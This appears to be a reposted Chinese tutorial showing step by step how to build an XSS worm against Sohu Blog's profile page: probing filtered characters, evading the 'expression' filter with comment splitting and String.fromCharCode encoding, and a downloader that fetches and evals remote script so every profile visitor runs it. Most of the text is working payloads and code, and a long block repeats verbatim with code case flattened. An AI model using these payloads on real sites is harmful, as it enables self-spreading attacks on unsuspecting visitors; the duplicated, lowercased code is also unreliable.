完整的XSS wrom网站入侵实例示范
程序员文章站
2022-12-18 20:59:18
XSS wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿SOHU BLOG做示范。
1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,/前是真正... 08-10-08...
xss wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿sohu blog做示范。
1. 测试过滤字符,下面都是构造xss所需要的关键字符(未包含全角字符,空格是个table,\/前是真正的空格),在个人档案处看过滤了哪些。
’’;:!--"<javascript javascript>=&#{()} \/
结果
’’;:!--"=&#{()} // (&后是amp,论坛过滤了)
过滤了"javascript","&"和"\"这两个转义字符串,因此html转码和css样式转码已无效,只好从属性和事件入手。
2. 测试一个xss常用属性和两个事件,貌似没有过滤字符。
expression
onerror
onload 3. 下面开始尝试构造语句。如下: <img src="#" style="xss:expression(alert(’xss’));"> <img src="#" onerror=alert(’xss’)> <img src="/article/uploadfiles/200702/20070202101404522.jpg" onload=alert(’xss’)> 构造完整标记,页面输出后又全部过滤。 4. "/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句: <div style="xss:ex/**/pre/**/ssion(alert(’xss’))"> 5. 由于expression属性比较特殊想当于一个死循环的eval函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句: <div style="xss:ex/**/pre/**/ssion(eval(xss));" xss="var then=new date();then.settime(then.gettime() 10*1000);if(document.cookie.indexof(’cookie1=’) == -1){document.cookie=’cookie1=ray;expires=’ then.togmtstring();alert(’xss’);}"> //设置一个cookie在10秒后失效,并在这条cookie语句中执行其他语句或函数。 6. 遗憾的是sohu blog对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromcharcode方法,将unicode字符值专成字符串再用eval函数执行: <div style="xss:ex/**/pre/**/ssion(eval(string.fromcharcode(97,108,101,114,116,40,39,120,115,115,39,41)))"> 7. 感染流程考虑: ㈠ blog页面的个人档案处是页面通用的 ㈡ xss内容写到个人档案处,所有浏览者都会触发xss ㈢ 实现一段提交xss内容到个人档案的代码. 8. 个人档案处只能输入2048个字符,又采用了fromcharcode方法,因此出现xss代码长度的限制,因此只能调用远程代码,于是写出了个xss downloader。 主要代码: function d(){
a=new activexobject(’microsoft.xmlhttp’); /*调用xmlhttp控件
a.open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个get提交请求
a.send();
b=a.responsetext; /*将传回值赋给变量b
eval(unescape(b.substring(b.indexof(’--|’) 3,b.indexof(’|--’))));
/*用indexof计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d() http://s0n9.blog.sohu.com/31406970.html 页面代码: alert('xss');
/*利用escape将标点符号转码,由于responsetext特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了) 其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好xss关键字,以防止xss wrom爆发 。
expression
onerror
onload 3. 下面开始尝试构造语句。如下: <img src="#" style="xss:expression(alert(’xss’));"> <img src="#" onerror=alert(’xss’)> <img src="/article/uploadfiles/200702/20070202101404522.jpg" onload=alert(’xss’)> 构造完整标记,页面输出后又全部过滤。 4. "/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句: <div style="xss:ex/**/pre/**/ssion(alert(’xss’))"> 5. 由于expression属性比较特殊想当于一个死循环的eval函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句: <div style="xss:ex/**/pre/**/ssion(eval(xss));" xss="var then=new date();then.settime(then.gettime() 10*1000);if(document.cookie.indexof(’cookie1=’) == -1){document.cookie=’cookie1=ray;expires=’ then.togmtstring();alert(’xss’);}"> //设置一个cookie在10秒后失效,并在这条cookie语句中执行其他语句或函数。 6. 遗憾的是sohu blog对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromcharcode方法,将unicode字符值专成字符串再用eval函数执行: <div style="xss:ex/**/pre/**/ssion(eval(string.fromcharcode(97,108,101,114,116,40,39,120,115,115,39,41)))"> 7. 感染流程考虑: ㈠ blog页面的个人档案处是页面通用的 ㈡ xss内容写到个人档案处,所有浏览者都会触发xss ㈢ 实现一段提交xss内容到个人档案的代码. 8. 个人档案处只能输入2048个字符,又采用了fromcharcode方法,因此出现xss代码长度的限制,因此只能调用远程代码,于是写出了个xss downloader。 主要代码: function d(){
a=new activexobject(’microsoft.xmlhttp’); /*调用xmlhttp控件
a.open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个get提交请求
a.send();
b=a.responsetext; /*将传回值赋给变量b
eval(unescape(b.substring(b.indexof(’--|’) 3,b.indexof(’|--’))));
/*用indexof计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d() http://s0n9.blog.sohu.com/31406970.html 页面代码: alert('xss');
/*利用escape将标点符号转码,由于responsetext特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了) 其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好xss关键字,以防止xss wrom爆发 。
上一篇: dcomrpc入侵